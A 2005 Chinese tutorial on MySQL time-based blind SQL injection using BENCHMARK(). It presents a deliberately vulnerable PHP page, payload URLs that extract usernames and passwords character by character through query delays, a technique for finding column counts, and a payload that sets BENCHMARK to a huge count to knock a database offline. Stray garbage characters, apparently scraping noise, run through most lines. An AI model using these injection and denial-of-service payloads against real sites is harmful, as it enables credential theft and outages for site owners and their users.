MYSQL中BENCHMARK函数的利用
4 z9 c6 h# }; y* u f本文作者:SuperHei8 A! [; A* y. q& m% l
文章性质:原创$ c) n6 C q% ]
发布日期:2005-01-02! h* C) z$ E& i( C; }- m$ O
完成日期:2004-07-09
9 I$ j' R$ {$ a3 `6 Y. C! n第一部
! H$ a* f8 L1 m5 ?" n( Y& |- f( k
利用时间推延进行注射---BENCHMARK函数在注射中的利用
0 z: a+ C7 n7 K( c3 j$ ~
; ?, L W6 I3 S/ I% }7 ?9 f- O一.前言/思路
5 X# H0 T* v1 Z3 G( i) E# _0 H) Z3 O) ]! m2 Q
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。3 p: Y, R4 B: {; N: E
7 |* @ w8 t( l7 P
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
c( v! h: W+ E' Y9 Z8 ?; n! i( s9 }* K
二.关于BENCHMARK函数9 I' ^( P+ N" D6 Q( ^( B* r
& x: x1 U2 a `6 a
在MySQL参考手册里可以看到如下描叙:
8 ]+ p% i: q. a
T/ N; J4 T3 h, c2 E
6 C2 Z [0 d: y* e--------------------------------------------------------------------------------- N- \0 b! v3 A
2 e! l' ~# i/ `* J$ zBENCHMARK(count,expr)
2 M4 l4 Z6 C9 f6 r5 U* }/ }BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 $ Y4 _/ P. C0 \" J, A
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); 1 F- c7 I3 S& Y
+----------------------------------------------+ 7 @: @/ F: C$ q
| BENCHMARK(1000000,encode("hello","goodbye")) |
% v" |: n! A7 o6 W3 N; D+----------------------------------------------+ - J1 R5 T; M7 Z w
| 0 | ( r' r5 b& s0 m
+----------------------------------------------+ + Q: Z; Q7 Q$ L$ K" y" r
1 row in set (4.74 sec)
3 R2 L/ o1 \! e' Y
* _1 T9 [! C$ a) {# k报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。, }, J8 i! T% E4 X
( s2 W4 C8 S+ d# e- h
8 U' z) i% c, }1 h. l
--------------------------------------------------------------------------------9 L! A Y F: |. k
1 D, z$ e# z- O* B, ^
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
) G/ I8 I4 {! h, D `! i; [* L" g4 j ~& u9 l2 h2 y/ M/ \$ L
mysql> select md5( 'test' ); 0 N& F! l# Y( b5 }
+----------------------------------+
/ J( [7 n( l; E# b2 r6 z| md5( 'test' ) |
; [0 [' M! j2 J, ~/ I0 K! `+----------------------------------+ + h5 V, S# v: d
| 098f6bcd4621d373cade4e832627b4f6 | * k, S g/ z9 \: x% ]1 n
+----------------------------------+ ) o: _2 Q" i* t) ~! @: ~' l' ^
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 3 d t/ k4 f* \/ ]
' y2 U* i- ^5 H# u3 T3 @mysql> select benchmark( 500000, md5( 'test' ) ); 1 |. v& E( L& V# L
+------------------------------------+ 2 P2 ]5 C3 O) m5 ?1 x3 v) @9 y1 f
| benchmark( 500000, md5( 'test' ) ) | " M" U U. A# }6 P7 _
+------------------------------------+ * v, h3 _' w# o. q. ?
| 0 |
4 M+ x( y, T; a+ E; c5 ?+------------------------------------+ 2 a0 O2 G D* v& ~. [3 L
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
( C/ N# a* b% b1 p* P8 i4 ~; D
; P& A: o2 P( q4 z, r
0 l( i6 [! l h7 S 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
- J0 c/ d1 O3 @
) `: T# {" g* v, L& F2 A: N三.具体例子( P* C1 C: r$ e6 w8 Z7 }
- K9 V: T) S0 h% }
首先我们看个简单的php代码:
" g" Z7 H8 K7 @. @4 D$ T5 z; a1 g* B' l* Y+ \
< ?php
- w7 [% t: |3 A3 Y, {' h$servername = "localhost";
$ H( V, b# }) z2 ]$dbusername = "root";
, |# n+ I- m4 d3 n" y$dbpassword = ""; % s7 J+ k) h) L7 I+ Q& L8 I
$dbname = "injection"; 1 ~# q3 ]' j7 }. S2 d
. g' o+ n) q1 Y* b1 {9 m) t3 @
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ! |) ?2 F- |# w6 N
3 h ~( k: Z& B$ p9 P/ J$sql = "SELECT * FROM article WHERE articleid=$id"; 3 m. z: j z' Y) M; b
$result = mysql_db_query($dbname,$sql);
# d& L5 b/ n, ?1 Y1 [7 f$row = mysql_fetch_array($result);
1 L2 H" P3 e N4 o3 V+ @* @' l7 P2 _. k* W8 i8 X" {
if (!$row) % t4 o4 |1 U$ G" ^- r
{
/ o# w3 W4 S" K2 Y# I4 kexit; G0 m, Z7 H* t. x/ p
} 6 t" D; `0 o, f2 M" {
?>4 r; a; w7 d+ V2 N0 r7 F+ Y+ w
+ B. r$ v2 l- X W {8 ~. o: G( x2 o" Z$ W7 t5 u8 {9 g6 m
数据库injection结构和内容如下:
6 T, C0 a( W9 D& I3 h1 I8 ]
' o6 C5 g/ J; Q& [# 数据库 : `injection` # G3 ~+ D, l% D8 `% ]3 h- h
#
# p8 U* P' X7 ~. h7 G7 K. K5 a) X* n2 c% Y2 [4 G+ O* r# ?
# --------------------------------------------------------
, l' u( J6 d8 T& R
) c0 X) q& P) x#
3 R2 \6 j0 |* _+ c& F# 表的结构 `article`
! [: Y& ~- h _9 ]8 _' {. b4 A#
, B' l& U: u9 i6 z
. G+ c) i8 u! [2 U. WCREATE TABLE `article` (
9 w5 j" R" Y) S2 T% X; H+ X* k`articleid` int(11) NOT NULL auto_increment, 9 J* W i% g9 U6 B5 l. c2 ^0 p
`title` varchar(100) NOT NULL default '',
0 @! Q8 v6 a4 u" k3 L0 ]& a`content` text NOT NULL, , Q* s) c4 e( H6 q
PRIMARY KEY (`articleid`) 8 V8 }* M1 s& G, H) @
) TYPE=MyISAM AUTO_INCREMENT=3 ; ( h6 x3 L+ O K( o& d. Q
# ]% A$ m' r4 p# x
# + t5 S/ D5 d9 e$ ~9 v
# 导出表中的数据 `article`
- v3 _% K) f8 p; a0 [#
1 G' u: d, u O/ N7 j2 H
: P8 X4 w, u) `* f; LINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 4 z1 u" B+ q1 Q0 a5 }
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
* m( ?% n' G' H o3 l
0 h& Z" v3 @! [9 Z! ?# -------------------------------------------------------- ( g+ i9 t5 L; T; i+ C$ }, L8 N
: b2 n# w9 S/ r+ c6 M; s6 S6 @#
6 A4 k6 L7 b j( _4 P* J# 表的结构 `user`
% x2 r; x+ i8 Q3 [, h2 z, X3 {#
2 Z3 C* F. w A: H+ N
. U) {) S* h' c% T6 E' ?0 XCREATE TABLE `user` ( 8 J% ?# I$ b* T/ X- [$ Q; Q
`userid` int(11) NOT NULL auto_increment, 1 z- Z( a6 E, J5 d5 s: Z, ^& s
`username` varchar(20) NOT NULL default '',
. J$ f) q7 n; e' D4 g& L`password` varchar(20) NOT NULL default '',
1 X. v: `1 z; {- I9 qPRIMARY KEY (`userid`) 5 V4 C% @% `# f) Q0 w
) TYPE=MyISAM AUTO_INCREMENT=3 ;
, ]7 c* x, R: k$ ]: N- l, x
- I+ R7 e8 N) t* G) ^# * T: G' p& V. {7 ~* o
# 导出表中的数据 `user` ' x1 Z! k* m6 a
# " N/ ?0 T e4 b7 a: U9 ~
: }8 ]; r# }- rINSERT INTO `user` VALUES (1, 'angel', 'mypass');
5 a, m; {" x6 Y0 p A7 QINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
, P% l& W1 t; j # E% \# B3 a" k0 t% ?/ H# q
$ B$ m6 e% e- e2 e2 u
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:. H S$ \# ~4 n5 }) O, |! d
7 o$ ?7 b" |, b) C2 K1 p
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*) L, \2 ?6 s$ V, U- u% Y
7 u! e/ Q3 u: T# C- C F* H) U$ D+ M! p" h: z* ~! `3 @4 x# Y- x- R
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:; j: c" b* s2 z+ @0 O& y
6 d5 S s( V* W: F, qhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*5 {2 z6 V. d9 ~! s1 F( q8 ]
" G$ V! ~/ c, s' C& k+ |9 ]- ~
/ s% p( ?# ?4 O$ Z 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
4 h& R' a; b( Q$ _5 Z4 k
6 S" u: E% `0 J# e2 ] 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
, J4 w% y" H" z* i7 {; Y4 }3 J. k$ @ t3 y
第二部
3 V$ Y' \8 b+ t ?
+ P2 ~. t, a* v8 a& E利用BENCHMARK函数进行ddos攻击 0 E1 ]3 b+ U7 u1 t1 [% U9 [7 B
& ]- d" R) @" F 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:3 U+ i: g: S, Q- ?& l' a0 d0 p
4 {9 }9 H2 V' L! x
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
( a6 V3 `/ G% D# ?6 x! |. U. } ; B7 G0 c g8 @: Y9 T
7 F; |- F/ ?' l9 o5 `$ ]小结3 q. S. U/ M4 q2 z, t' K8 t
6 S& r0 G6 v& y9 y$ i
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。% O+ V* J8 J# r7 w) A" R0 D$ U3 q
) O$ W, r% w' G0 b% ~" Q/ f
: w9 e) T/ _+ @/ k8 W( `! v2 J |